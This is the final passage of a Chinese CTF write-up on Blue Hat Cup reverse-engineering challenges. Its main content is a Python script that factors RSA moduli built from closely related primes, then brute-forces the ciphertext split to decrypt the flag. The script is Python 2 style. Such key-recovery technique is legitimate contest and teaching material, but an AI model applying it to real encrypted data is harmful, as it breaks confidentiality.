计算得到 p 和 q,pp 和 qq,由于 flag 内容是两部分 bytes 拼接,所以可以爆破分隔位置求解。

计算程序

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long
n = 10300808326934539089496666241808264289631957459372648156286399524715435483257526083909012656240599916663153630994400397551123967736269088895097145175999170121832669199408651009372742448196961434772052680714475103278704994244915332148949308972258132346198706995878511207707020032852291909422169657384059305615332901933166314692127020030962059133945677194815714731744932280037687773557589292839426111679593131496468880818820566335362063945141576571029271455695757725169819071536590541808603312689890186432713168331831945391117398124164372551511615664022982639779869597584768094658974144703654232643726744397158318139843
nn = 10300808326934539089496666241808264289631957459372648156286399524715435483257526083909012656240599916663153630994400397551123967736269088895097145175999170121832669199408651009372742448196961434772052680714475103278704994244915332148949308972258132346198706995878511207707020032852291909422169657384059306119730985949350246133999803589372738154347587848281413687500584822677442973180875153089761224816081452749380588888095064009160267372694200256546854314017937003988172151851703041691419537865664897608475932582537945754540823276273979713144072687287826518630644255675609067675836382036436064703619178779628644141463
c = "22cca5150ca0bb2132f68302dc7441e52b91ae7252e44cc13ed83e58253a9aaaa55e095ba36748dff7ea21fff553f8c4656e77a508b64da054f1381b7e2d0600bcec6ed9e1cc8d14c2362aaef7a972a714f88e5afb2d39e2d77d0c22a449ca2cfb0802c138f20e0ecbd3c174151cdb8e8ca6d89aa3c503615ebfbc851af5ac51dcfa8b5869b775b57a27b9e4346979180d89b303cae2c5d9e6cabb3c9947837bd8f92333532d4b54dd72ea354000600066328f6f4329147df195ec78a7ab9d39973ce0fd6511e7a0de54737bee64476ba531604f0375b08adf7d768c41ba9e2ba88468d126561a134de79dc0217c1c56d219ca6747103618e46f35281feb9e6050c93e32e26e21ee2c3d495f60db2fad9f9a5c570c9f97aee698024ebff6163ef26e32958872db7c593d7f41f90981b8db45aa01085be1e61f7603ecf3d5c032dd90dea791cd9825299548c0cbe7dadabc157048a7fd5cd4bcb1cfeaf0bd2d679f66ceb0b1c33ec04bd20317f872c85d500a3475833f983fdee59b3f61a731e2a8b9a60bd7d840f46e97f06dd4fd8ad1cb4d13a82da01938801c33835ceaf34e1cf62ebdde7ac68b17c2a236b64ffacd2a0e7258571ce570871aea9ff309df63c0a3abcfa0c05d159a82f9fa3f3ad73944e4ae33c3432c8b65c0d6fe9b560220b14abe5886188fc1e6afa4bb4395669618387224422acf20b519af902225e270"
d = nn - n
q = 0
for d1 in range(2333, 3000):
    for d2 in range(2333, 3000):
        t = d - d1 * d2
        k = t * t - 4 * d1 * d2 * n
        if k > 0 and gmpy2.iroot(k, 2)[1]:
            q = (t + gmpy2.iroot(k, 2)[0]) // (2 * d1)
            p = n // q
            e = 65537
            ee = gmpy2.next_prime(e)
            d1 = gmpy2.invert(e, (p - 1) * (q - 1))
            pp = gmpy2.next_prime(p + 2333)
            qq = gmpy2.next_prime(q + 2333)
            d2 = gmpy2.invert(ee, (pp - 1) * (qq - 1))
            for l in range(1, len(c)):
                c1, c2 = int(c[:l], 16), int(c[l:], 16)
                if c1 < n and c2 < nn:
                    flag = long_to_bytes(pow(c1, d1, n)) + long_to_bytes(pow(c2, d2, nn))
                    if "flag" in flag:
                        print(flag)

总结

这次的蓝帽杯的RE题目难度还是比较高的,我认为还是有很多值得学习点,并且从这些题目中可以看出,RE的题目以及逐渐往自动化和 Crypto 方向靠拢,在题目中经常会结合一些其他方向的知识,如果想要在比赛中快速的解题,掌握一些其他方向的知识也是必不可少的。本文中的方法不一定是最好最快的,但是一定是能够让做题者在做题的过程中学习到一些知识的,希望在比赛过程中即使做出题目的师傅,也可以尝试着跟着本篇文章的思路来解题。本文在编写的过程中有些仓促,难免有些地方存在错误和没有阐述清楚,希望有疑问或者看到错误的师傅可以在评论区与我交流。

Last Modified: September 9, 2021
Archives QR Code Tip
QR Code for this page
Tipping QR Code